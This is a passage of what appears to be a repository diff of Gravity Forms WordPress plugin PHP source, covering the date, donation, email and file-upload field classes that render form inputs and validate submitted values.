$field_str = "<div class='clear-multi'><div class='gfield_date_dropdown_day ginput_container ginput_container_date' id='{$field_id}_2_container'>" . $this->get_day_dropdown( "input_{$id}[]", "{$field_id}_2", rgar( $date_info, 'day' ), $tabindex, $disabled_text, $day_placeholder_value ) . '</div>';
$tabindex = $this->get_tabindex();
$field_str .= "<div class='gfield_date_dropdown_month ginput_container ginput_container_date' id='{$field_id}_1_container'>" . $this->get_month_dropdown( "input_{$id}[]", "{$field_id}_1", rgar( $date_info, 'month' ), $tabindex, $disabled_text, $month_placeholder_value ) . '</div>';
$tabindex = $this->get_tabindex();
$field_str .= "<div class='gfield_date_dropdown_year ginput_container ginput_container_date' id='{$field_id}_3_container'>" . $this->get_year_dropdown( "input_{$id}[]", "{$field_id}_3", rgar( $date_info, 'year' ), $tabindex, $disabled_text, $year_placeholder_value, $form ) . '</div></div>';
} else {
$field_str = $is_sub_label_above
? "<div class='clear-multi'>
<div class='gfield_date_day ginput_container ginput_container_date' id='{$field_id}_2_container'>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='$day_value' {$tabindex} {$disabled_text} {$day_placeholder_attribute} {$day_html5_attributes}/>
</div>"
: "<div class='clear-multi'>
<div class='gfield_date_day ginput_container ginput_container_date' id='{$field_id}_2_container'>
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='$day_value' {$tabindex} {$disabled_text} {$day_placeholder_attribute} {$day_html5_attributes}/>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
</div>";
$tabindex = $this->get_tabindex();
$field_str .= $is_sub_label_above
? "<div class='gfield_date_month ginput_container ginput_container_date' id='{$field_id}_1_container'>
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$month_value}' {$tabindex} {$disabled_text} {$month_placeholder_attribute} {$month_html5_attributes}/>
</div>"
: "<div class='gfield_date_month ginput_container ginput_container_date' id='{$field_id}_1_container'>
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$month_value}' {$tabindex} {$disabled_text} {$month_placeholder_attribute} {$month_html5_attributes}/>
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
</div>";
$tabindex = $this->get_tabindex();
$field_str .= $is_sub_label_above
? "<div class='gfield_date_year ginput_container ginput_container_date' id='{$field_id}_3_container'>
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
<input type='{$date_input_type}' maxlength='4' name='input_{$id}[]' id='{$field_id}_3' value='{$year_value}' {$tabindex} {$disabled_text} {$year_placeholder_attribute} {$year_min_attribute} {$year_max_attribute} {$year_step_attribute}/>
</div>
</div>"
: "<div class='gfield_date_year ginput_container ginput_container_date' id='{$field_id}_3_container'>
<input type='{$date_input_type}' maxlength='4' name='input_{$id}[]' id='{$field_id}_3' value='{$year_value}' {$tabindex} {$disabled_text} {$year_placeholder_attribute} {$year_min_attribute} {$year_max_attribute} {$year_step_attribute}/>
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
</div>
</div>";
}
break;
case 'ymd' :
$tabindex = $this->get_tabindex();
if ( $date_type == 'datedropdown' ) {
$field_str = "<div class='clear-multi'><div class='gfield_date_dropdown_year ginput_container ginput_container_date' id='{$field_id}_3_container'>" . $this->get_year_dropdown( "input_{$id}[]", "{$field_id}_3", rgar( $date_info, 'year' ), $tabindex, $disabled_text, $year_placeholder_value, $form ) . '</div>';
$tabindex = $this->get_tabindex();
$field_str .= "<div class='gfield_date_dropdown_month ginput_container ginput_container_date' id='{$field_id}_1_container'>" . $this->get_month_dropdown( "input_{$id}[]", "{$field_id}_1", rgar( $date_info, 'month' ), $tabindex, $disabled_text, $month_placeholder_value ) . '</div>';
$tabindex = $this->get_tabindex();
$field_str .= "<div class='gfield_date_dropdown_day ginput_container ginput_container_date' id='{$field_id}_2_container'>" . $this->get_day_dropdown( "input_{$id}[]", "{$field_id}_2", rgar( $date_info, 'day' ), $tabindex, $disabled_text, $day_placeholder_value ) . '</div></div>';
} else {
$field_str = $is_sub_label_above
? "<div class='clear-multi'>
<div class='gfield_date_year ginput_container ginput_container_date' id='{$field_id}_3_container'>
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
<input type='{$date_input_type}' maxlength='4' name='input_{$id}[]' id='{$field_id}_3' value='{$year_value}' {$tabindex} {$disabled_text} {$year_placeholder_attribute} {$year_min_attribute} {$year_max_attribute} {$year_step_attribute}/>
</div>"
: "<div class='clear-multi'>
<div class='gfield_date_year ginput_container ginput_container_date' id='{$field_id}_3_container'>
<input type='{$date_input_type}' maxlength='4' name='input_{$id}[]' id='{$field_id}_3' value='{$year_value}' {$tabindex} {$disabled_text} {$year_placeholder_attribute} {$year_min_attribute} {$year_max_attribute} {$year_step_attribute}/>
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
</div>";
$tabindex = $this->get_tabindex();
$field_str .= $is_sub_label_above
? "<div class='gfield_date_month ginput_container ginput_container_date' id='{$field_id}_1_container'>
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$month_value}' {$tabindex} {$disabled_text} {$month_placeholder_attribute} {$month_html5_attributes}/>
</div>"
: "<div class='gfield_date_month ginput_container ginput_container_date' id='{$field_id}_1_container'>
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$month_value}' {$tabindex} {$disabled_text} {$month_placeholder_attribute} {$month_html5_attributes}/>
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
</div>";
$tabindex = $this->get_tabindex();
$field_str .= $is_sub_label_above
? "<div class='gfield_date_day ginput_container ginput_container_date' id='{$field_id}_2_container'>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='{$day_value}' {$tabindex} {$disabled_text} {$day_placeholder_attribute} {$day_html5_attributes}/>
</div>
</div>"
: "<div class='gfield_date_day ginput_container ginput_container_date' id='{$field_id}_2_container'>
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='{$day_value}' {$tabindex} {$disabled_text} {$day_placeholder_attribute} {$day_html5_attributes}/>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
</div>
</div>";
}
break;
default :
$tabindex = $this->get_tabindex();
if ( $date_type == 'datedropdown' ) {
$field_str = "<div class='clear-multi'><div class='gfield_date_dropdown_month ginput_container ginput_container_date' id='{$field_id}_1_container'>" . $this->get_month_dropdown( "input_{$id}[]", "{$field_id}_1", rgar( $date_info, 'month' ), $tabindex, $disabled_text, $month_placeholder_value ) . '</div>';
$tabindex = $this->get_tabindex();
$field_str .= "<div class='gfield_date_dropdown_day ginput_container ginput_container_date' id='{$field_id}_2_container'>" . $this->get_day_dropdown( "input_{$id}[]", "{$field_id}_2", rgar( $date_info, 'day' ), $tabindex, $disabled_text, $day_placeholder_value ) . '</div>';
$tabindex = $this->get_tabindex();
$field_str .= "<div class='gfield_date_dropdown_year ginput_container ginput_container_date' id='{$field_id}_3_container'>" . $this->get_year_dropdown( "input_{$id}[]", "{$field_id}_3", rgar( $date_info, 'year' ), $tabindex, $disabled_text, $year_placeholder_value, $form ) . '</div></div>';
} else {
$field_str = $is_sub_label_above
? "<div class='clear-multi'><div class='gfield_date_month ginput_container ginput_container_date' id='{$field_id}_1_container'>
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$month_value}' {$tabindex} {$disabled_text} {$month_placeholder_attribute} {$month_html5_attributes}/>
</div>"
: "<div class='clear-multi'><div class='gfield_date_month ginput_container ginput_container_date' id='{$field_id}_1_container'>
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$month_value}' {$tabindex} {$disabled_text} {$month_placeholder_attribute} {$month_html5_attributes}/>
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
</div>";
$tabindex = $this->get_tabindex();
$field_str .= $is_sub_label_above
? "<div class='gfield_date_day ginput_container ginput_container_date' id='{$field_id}_2_container'>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='{$day_value}' {$tabindex} {$disabled_text} {$day_placeholder_attribute} {$day_html5_attributes}/>
</div>"
: "<div class='gfield_date_day ginput_container ginput_container_date' id='{$field_id}_2_container'>
<input type='{$date_input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='{$day_value}' {$tabindex} {$disabled_text} {$day_placeholder_attribute} {$day_html5_attributes}/>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
</div>";
$tabindex = $this->get_tabindex();
$field_str .= $is_sub_label_above
? "<div class='gfield_date_year ginput_container ginput_container_date' id='{$field_id}_3_container'>
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
<input type='{$date_input_type}' maxlength='4' name='input_{$id}[]' id='{$field_id}_3' value='{$year_value}' {$tabindex} {$disabled_text} {$year_placeholder_attribute} {$year_min_attribute} {$year_max_attribute} {$year_step_attribute}/>
</div>
</div>"
: "<div class='gfield_date_year ginput_container ginput_container_date' id='{$field_id}_3_container'>
<input type='{$date_input_type}' maxlength='4' name='input_{$id}[]' id='{$field_id}_3' value='{$year_value}' {$tabindex} {$disabled_text} {$year_placeholder_attribute} {$year_min_attribute} {$year_max_attribute} {$year_step_attribute}/>
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
</div>
</div>";
}
break;
}
return "<div id='{$field_id}' class='ginput_container ginput_container_date'>$field_str</div>";
} else {
$picker_value = esc_attr( GFCommon::date_display( $picker_value, $format ) );
$icon_class = $this->calendarIconType == 'none' ? 'datepicker_no_icon' : 'datepicker_with_icon';
$icon_url = empty( $this->calendarIconUrl ) ? GFCommon::get_base_url() . '/images/calendar.png' : $this->calendarIconUrl;
$icon_url = esc_url( $icon_url );
$tabindex = $this->get_tabindex();
$class = esc_attr( $class );
return "<div class='ginput_container ginput_container_date'>
<input name='input_{$id}' id='{$field_id}' type='text' value='{$picker_value}' class='datepicker {$class} {$format} {$icon_class}' {$tabindex} {$disabled_text} {$date_picker_placeholder}/>
</div>
<input type='hidden' id='gforms_calendar_icon_$field_id' class='gform_hidden' value='$icon_url'/>";
}
}
}
public function get_field_label_class() {
return $this->dateType == 'datefield' ? 'gfield_label gfield_label_before_complex' : 'gfield_label';
}
public function get_value_default() {
$value = parent::get_value_default();
if ( is_array( $this->inputs ) ) {
$value = $this->get_date_array_by_format( $value );
}
return $value;
}
/**
* The default value for mulit-input date fields will always be an array in mdy order
* this code will alter the order of the values to the date format of the field
*/
public function get_date_array_by_format( $value ) {
$format = empty( $this->dateFormat ) ? 'mdy' : esc_attr( $this->dateFormat );
$position = substr( $format, 0, 3 );
$date = array_combine( array( 'm', 'd', 'y' ), $value ); // takes our numerical array and converts it to an associative array
$value = array_merge( array_flip( str_split( $position ) ), $date ); // uses the mdy position as the array keys and creates a new array in the desired order
return $value;
}
public function checkdate( $month, $day, $year ) {
if ( empty( $month ) || ! is_numeric( $month ) || empty( $day ) || ! is_numeric( $day ) || empty( $year ) || ! is_numeric( $year ) || strlen( $year ) != 4 ) {
return false;
}
return checkdate( $month, $day, $year );
}
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
return GFCommon::date_display( $value, $this->dateFormat );
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
return GFCommon::date_display( $value, $this->dateFormat );
}
/**
* Gets merge tag values.
*
* @since Unknown
* @access public
*
* @uses GFCommon::date_display()
* @uses GF_Field_Date::$dateFormat
*
* @param array|string $value The value of the input.
* @param string $input_id The input ID to use.
* @param array $entry The Entry Object.
* @param array $form The Form Object
* @param string $modifier The modifier passed.
* @param array|string $raw_value The raw value of the input.
* @param bool $url_encode If the result should be URL encoded.
* @param bool $esc_html If the HTML should be escaped.
* @param string $format The format that the value should be.
* @param bool $nl2br If the nl2br function should be used.
*
* @return string The processed merge tag.
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
$format_modifier = empty( $modifier ) ? $this->dateFormat : $modifier;
return GFCommon::date_display( $value, $format_modifier );
}
private function get_month_dropdown( $name = '', $id = '', $selected_value = '', $tabindex = '', $disabled_text = '', $placeholder = '' ) {
if ( $placeholder == '' ) {
$placeholder = esc_html__( 'Month', 'gravityforms' );
}
return $this->get_number_dropdown( $name, $id, $selected_value, $tabindex, $disabled_text, $placeholder, 1, 12 );
}
private function get_day_dropdown( $name = '', $id = '', $selected_value = '', $tabindex = '', $disabled_text = '', $placeholder = '' ) {
if ( $placeholder == '' ) {
$placeholder = esc_html__( 'Day', 'gravityforms' );
}
return $this->get_number_dropdown( $name, $id, $selected_value, $tabindex, $disabled_text, $placeholder, 1, 31 );
}
private function get_year_dropdown( $name = '', $id = '', $selected_value = '', $tabindex = '', $disabled_text = '', $placeholder = '', $form ) {
if ( $placeholder == '' ) {
$placeholder = esc_html__( 'Year', 'gravityforms' );
}
$year_min = apply_filters( 'gform_date_min_year', '1920', $form, $this );
$year_max = apply_filters( 'gform_date_max_year', date( 'Y' ) + 1, $form, $this );
return $this->get_number_dropdown( $name, $id, $selected_value, $tabindex, $disabled_text, $placeholder, $year_max, $year_min );
}
private function get_number_dropdown( $name, $id, $selected_value, $tabindex, $disabled_text, $placeholder, $start_number, $end_number ) {
$str = "<select name='{$name}' id='{$id}' {$tabindex} {$disabled_text} >";
if ( $placeholder !== false ) {
$str .= "<option value=''>{$placeholder}</option>";
}
$increment = $start_number < $end_number ? 1 : - 1;
for ( $i = $start_number; $i != ( $end_number + $increment ); $i += $increment ) {
$selected = intval( $i ) == intval( $selected_value ) ? "selected='selected'" : '';
$str .= "<option value='{$i}' {$selected}>{$i}</option>";
}
$str .= '</select>';
return $str;
}
/**
* Returns the value to save in the entry.
*
* @param string $value
* @param array $form
* @param string $input_name
* @param int $lead_id
* @param array $lead
*
* @return string
*/
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
// if $value is a default value and also an array, it will be an associative array; to be safe, let's convert all array $value to numeric
if ( is_array( $value ) ) {
$value = array_values( $value );
}
$value = GFFormsModel::prepare_date( $this->dateFormat, $value );
$value = $this->sanitize_entry_value( $value, $form['id'] );
return $value;
}
public function get_entry_inputs() {
return null;
}
public function sanitize_settings() {
parent::sanitize_settings();
$this->calendarIconType = wp_strip_all_tags( $this->calendarIconType );
$this->calendarIconUrl = wp_strip_all_tags( $this->calendarIconUrl );
if ( $this->dateFormat && ! in_array( $this->dateFormat, array( 'mdy', 'dmy', 'dmy_dash', 'dmy_dot', 'ymd_slash', 'ymd_dash', 'ymd_dot' ) ) ) {
$this->dateFormat = 'mdy';
}
}
}
GF_Fields::register( new GF_Field_Date() );

View File

@@ -0,0 +1,81 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* @deprecated since 1.6
*
* Class GF_Field_Donationç
*/
class GF_Field_Donation extends GF_Field {
public $type = 'donation';
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'donation_field_type_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'admin_label_setting',
'label_placement_setting',
'rules_setting',
'default_value_setting',
'placeholder_setting',
'description_setting',
'css_class_setting',
);
}
public function get_form_editor_button() {
return array();
}
public function validate( $value, $form ) {
$price = GFCommon::to_number( $value );
if ( ! rgblank( $value ) && ( $price === false || $price < 0 ) ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'Please enter a valid amount.', 'gravityforms' ) : $this->errorMessage;
}
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = absint( $this->id );
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$value = esc_attr( $value );
$placeholder_attribute = $this->get_field_placeholder_attribute();
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
$size = $this->size;
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$class = esc_attr( $class );
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$tabindex = $this->get_tabindex();
return "<div class='ginput_container ginput_container_donation'>
<input name='input_{$id}' id='{$field_id}' type='text' value='{$value}' class='{$class} ginput_donation_amount' {$tabindex} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
</div>";
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
return GFCommon::to_money( $value, $currency );
}
}
GF_Fields::register( new GF_Field_Donation() );

View File

@@ -0,0 +1,208 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Email extends GF_Field {
public $type = 'email';
public function get_form_editor_field_title() {
return esc_attr__( 'Email', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'email_confirm_setting',
'admin_label_setting',
'size_setting',
'rules_setting',
'visibility_setting',
'duplicate_setting',
'default_value_setting',
'placeholder_setting',
'description_setting',
'css_class_setting',
);
}
public function is_conditional_logic_supported() {
return true;
}
public function get_entry_inputs() {
return null;
}
public function validate( $value, $form ) {
$email = is_array( $value ) ? rgar( $value, 0 ) : $value; // Form objects created in 1.8 will supply a string as the value.
$is_blank = rgblank( $value ) || ( is_array( $value ) && rgempty( array_filter( $value ) ) );
if ( ! $is_blank && ! GFCommon::is_valid_email( $email ) ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'Please enter a valid email address.', 'gravityforms' ) : $this->errorMessage;
} elseif ( $this->emailConfirmEnabled && ! empty( $email ) ) {
$confirm = is_array( $value ) ? rgar( $value, 1 ) : $this->get_input_value_submission( 'input_' . $this->id . '_2' );
if ( $confirm != $email ) {
$this->failed_validation = true;
$this->validation_message = esc_html__( 'Your emails do not match.', 'gravityforms' );
}
}
}
public function get_field_input( $form, $value = '', $entry = null ) {
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
if ( is_array( $value ) ) {
$value = array_values( $value );
}
$form_id = absint( $form['id'] );
$id = absint( $this->id );
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$form_id = ( $is_entry_detail || $is_form_editor ) && empty( $form_id ) ? rgget( 'id' ) : $form_id;
$size = $this->size;
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $this->emailConfirmEnabled ? '' : $size . $class_suffix; //Size only applies when confirmation is disabled
$form_sub_label_placement = rgar( $form, 'subLabelPlacement' );
$field_sub_label_placement = $this->subLabelPlacement;
$is_sub_label_above = $field_sub_label_placement == 'above' || ( empty( $field_sub_label_placement ) && $form_sub_label_placement == 'above' );
$sub_label_class_attribute = $field_sub_label_placement == 'hidden_label' ? "class='hidden_sub_label screen-reader-text'" : '';
$html_input_type = RGFormsModel::is_html5_enabled() ? 'email' : 'text';
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
$enter_email_field_input = GFFormsModel::get_input( $this, $this->id . '' );
$confirm_field_input = GFFormsModel::get_input( $this, $this->id . '.2' );
$enter_email_label = rgar( $enter_email_field_input, 'customLabel' ) != '' ? $enter_email_field_input['customLabel'] : esc_html__( 'Enter Email', 'gravityforms' );
$enter_email_label = gf_apply_filters( array( 'gform_email', $form_id ), $enter_email_label, $form_id );
$confirm_email_label = rgar( $confirm_field_input, 'customLabel' ) != '' ? $confirm_field_input['customLabel'] : esc_html__( 'Confirm Email', 'gravityforms' );
$confirm_email_label = gf_apply_filters( array( 'gform_email_confirm', $form_id ), $confirm_email_label, $form_id );
$single_placeholder_attribute = $this->get_field_placeholder_attribute();
$enter_email_placeholder_attribute = $this->get_input_placeholder_attribute( $enter_email_field_input );
$confirm_email_placeholder_attribute = $this->get_input_placeholder_attribute( $confirm_field_input );
if ( $is_form_editor ) {
$single_style = $this->emailConfirmEnabled ? "style='display:none;'" : '';
$confirm_style = $this->emailConfirmEnabled ? '' : "style='display:none;'";
if ( $is_sub_label_above ) {
return "<div class='ginput_container ginput_container_email ginput_single_email' {$single_style}>
<input name='input_{$id}' type='{$html_input_type}' class='" . esc_attr( $class ) . "' disabled='disabled' {$single_placeholder_attribute} {$required_attribute} {$invalid_attribute} />
<div class='gf_clear gf_clear_complex'></div>
</div>
<div class='ginput_complex ginput_container ginput_container_email ginput_confirm_email' {$confirm_style} id='{$field_id}_container'>
<span id='{$field_id}_1_container' class='ginput_left'>
<label for='{$field_id}' {$sub_label_class_attribute}>{$enter_email_label}</label>
<input class='{$class}' type='text' name='input_{$id}' id='{$field_id}' disabled='disabled' {$enter_email_placeholder_attribute} {$required_attribute} {$invalid_attribute} />
</span>
<span id='{$field_id}_2_container' class='ginput_right'>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$confirm_email_label}</label>
<input class='{$class}' type='text' name='input_{$id}_2' id='{$field_id}_2' disabled='disabled' {$confirm_email_placeholder_attribute} {$required_attribute} {$invalid_attribute} />
</span>
<div class='gf_clear gf_clear_complex'></div>
</div>";
} else {
return "<div class='ginput_container ginput_container_email ginput_single_email' {$single_style}>
<input class='{$class}' name='input_{$id}' type='{$html_input_type}' class='" . esc_attr( $class ) . "' disabled='disabled' {$single_placeholder_attribute} {$required_attribute} {$invalid_attribute} />
<div class='gf_clear gf_clear_complex'></div>
</div>
<div class='ginput_complex ginput_container ginput_container_email ginput_confirm_email' {$confirm_style} id='{$field_id}_container'>
<span id='{$field_id}_1_container' class='ginput_left'>
<input class='{$class}' type='text' name='input_{$id}' id='{$field_id}' disabled='disabled' {$enter_email_placeholder_attribute} {$required_attribute} {$invalid_attribute} />
<label for='{$field_id}' {$sub_label_class_attribute}>{$enter_email_label}</label>
</span>
<span id='{$field_id}_2_container' class='ginput_right'>
<input class='{$class}' type='text' name='input_{$id}_2' id='{$field_id}_2' disabled='disabled' {$confirm_email_placeholder_attribute} {$required_attribute} {$invalid_attribute} />
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$confirm_email_label}</label>
</span>
<div class='gf_clear gf_clear_complex'></div>
</div>";
}
} else {
$logic_event = $this->get_conditional_logic_event( 'keyup' );
if ( $this->emailConfirmEnabled && ! $is_entry_detail ) {
$first_tabindex = $this->get_tabindex();
$last_tabindex = $this->get_tabindex();
$email_value = is_array( $value ) ? rgar( $value, 0 ) : $value;
$email_value = esc_attr( $email_value );
$confirmation_value = is_array( $value ) ? rgar( $value, 1 ) : rgpost( 'input_' . $this->id . '_2' );
$confirmation_value = esc_attr( $confirmation_value );
$confirmation_disabled = $is_entry_detail ? "disabled='disabled'" : $disabled_text;
if ( $is_sub_label_above ) {
return "<div class='ginput_complex ginput_container ginput_container_email' id='{$field_id}_container'>
<span id='{$field_id}_1_container' class='ginput_left'>
<label for='{$field_id}'>" . $enter_email_label . "</label>
<input class='{$class}' type='{$html_input_type}' name='input_{$id}' id='{$field_id}' value='{$email_value}' {$first_tabindex} {$logic_event} {$disabled_text} {$enter_email_placeholder_attribute} {$required_attribute} {$invalid_attribute}/>
</span>
<span id='{$field_id}_2_container' class='ginput_right'>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$confirm_email_label}</label>
<input class='{$class}' type='{$html_input_type}' name='input_{$id}_2' id='{$field_id}_2' value='{$confirmation_value}' {$last_tabindex} {$confirmation_disabled} {$confirm_email_placeholder_attribute} {$required_attribute} {$invalid_attribute}/>
</span>
<div class='gf_clear gf_clear_complex'></div>
</div>";
} else {
return "<div class='ginput_complex ginput_container ginput_container_email' id='{$field_id}_container'>
<span id='{$field_id}_1_container' class='ginput_left'>
<input class='{$class}' type='{$html_input_type}' name='input_{$id}' id='{$field_id}' value='{$email_value}' {$first_tabindex} {$logic_event} {$disabled_text} {$enter_email_placeholder_attribute} {$required_attribute} {$invalid_attribute}/>
<label for='{$field_id}' {$sub_label_class_attribute}>{$enter_email_label}</label>
</span>
<span id='{$field_id}_2_container' class='ginput_right'>
<input class='{$class}' type='{$html_input_type}' name='input_{$id}_2' id='{$field_id}_2' value='{$confirmation_value}' {$last_tabindex} {$confirmation_disabled} {$confirm_email_placeholder_attribute} {$required_attribute} {$invalid_attribute}/>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$confirm_email_label}</label>
</span>
<div class='gf_clear gf_clear_complex'></div>
</div>";
}
} else {
$tabindex = $this->get_tabindex();
$value = esc_attr( $value );
$class = esc_attr( $class );
return "<div class='ginput_container ginput_container_email'>
<input name='input_{$id}' id='{$field_id}' type='{$html_input_type}' value='$value' class='{$class}' {$tabindex} {$logic_event} {$disabled_text} {$single_placeholder_attribute} {$required_attribute} {$invalid_attribute}/>
</div>";
}
}
}
public function get_field_label_class(){
return $this->emailConfirmEnabled ? 'gfield_label gfield_label_before_complex' : 'gfield_label';
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
return GFCommon::is_valid_email( $value ) && $format == 'html' ? "<a href='mailto:$value'>$value</a>" : $value;
}
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
if ( $this->emailConfirmEnabled && ! $this->is_entry_detail() && is_array( $this->inputs ) ) {
$value[0] = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var );
$value[1] = $this->get_input_value_submission( 'input_' . $this->id . '_2', $this->inputName, $field_values, $get_from_post_global_var );
} else {
$value = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var );
}
return $value;
}
}
GF_Fields::register( new GF_Field_Email() );

View File

@@ -0,0 +1,691 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_FileUpload extends GF_Field {
public $type = 'fileupload';
public function get_form_editor_field_title() {
return esc_attr__( 'File Upload', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'rules_setting',
'file_extensions_setting',
'file_size_setting',
'multiple_files_setting',
'visibility_setting',
'description_setting',
'css_class_setting',
);
}
public function validate( $value, $form ) {
$input_name = 'input_' . $this->id;
GFCommon::log_debug( __METHOD__ . '(): Validating field ' . $input_name );
$allowed_extensions = ! empty( $this->allowedExtensions ) ? GFCommon::clean_extensions( explode( ',', strtolower( $this->allowedExtensions ) ) ) : array();
if ( $this->multipleFiles ) {
$file_names = isset( GFFormsModel::$uploaded_files[ $form['id'] ][ $input_name ] ) ? GFFormsModel::$uploaded_files[ $form['id'] ][ $input_name ] : array();
} else {
$max_upload_size_in_bytes = isset( $this->maxFileSize ) && $this->maxFileSize > 0 ? $this->maxFileSize * 1048576 : wp_max_upload_size();
$max_upload_size_in_mb = $max_upload_size_in_bytes / 1048576;
if ( ! empty( $_FILES[ $input_name ]['name'] ) && $_FILES[ $input_name ]['error'] > 0 ) {
$uploaded_file_name = isset( GFFormsModel::$uploaded_files[ $form['id'] ][ $input_name ] ) ? GFFormsModel::$uploaded_files[ $form['id'] ][ $input_name ] : '';
if ( empty( $uploaded_file_name ) ) {
$this->failed_validation = true;
switch ( $_FILES[ $input_name ]['error'] ) {
case UPLOAD_ERR_INI_SIZE :
case UPLOAD_ERR_FORM_SIZE :
GFCommon::log_debug( __METHOD__ . '(): File ' . $_FILES[ $input_name ]['name'] . ' exceeds size limit. Maximum file size: ' . $max_upload_size_in_mb . 'MB' );
$fileupload_validation_message = sprintf( esc_html__( 'File exceeds size limit. Maximum file size: %dMB', 'gravityforms' ), $max_upload_size_in_mb );
break;
default :
GFCommon::log_debug( __METHOD__ . '(): The following error occurred while uploading - ' . $_FILES[ $input_name ]['error'] );
$fileupload_validation_message = sprintf( esc_html__( 'There was an error while uploading the file. Error code: %d', 'gravityforms' ), $_FILES[ $input_name ]['error'] );
}
$this->validation_message = empty( $this->errorMessage ) ? $fileupload_validation_message : $this->errorMessage;
return;
}
} elseif ( $_FILES[ $input_name ]['size'] > 0 && $_FILES[ $input_name ]['size'] > $max_upload_size_in_bytes ) {
$this->failed_validation = true;
GFCommon::log_debug( __METHOD__ . '(): File ' . $_FILES[ $input_name ]['name'] . ' exceeds size limit. Maximum file size: ' . $max_upload_size_in_mb . 'MB' );
$this->validation_message = sprintf( esc_html__( 'File exceeds size limit. Maximum file size: %dMB', 'gravityforms' ), $max_upload_size_in_mb );
return;
}
/**
* A filter to allow or disallow whitelisting when uploading a file
*
* @param bool false To set upload whitelisting to true or false (default is false, which means it is enabled)
*/
$whitelisting_disabled = apply_filters( 'gform_file_upload_whitelisting_disabled', false );
if ( ! empty( $_FILES[ $input_name ]['name'] ) && ! $whitelisting_disabled ) {
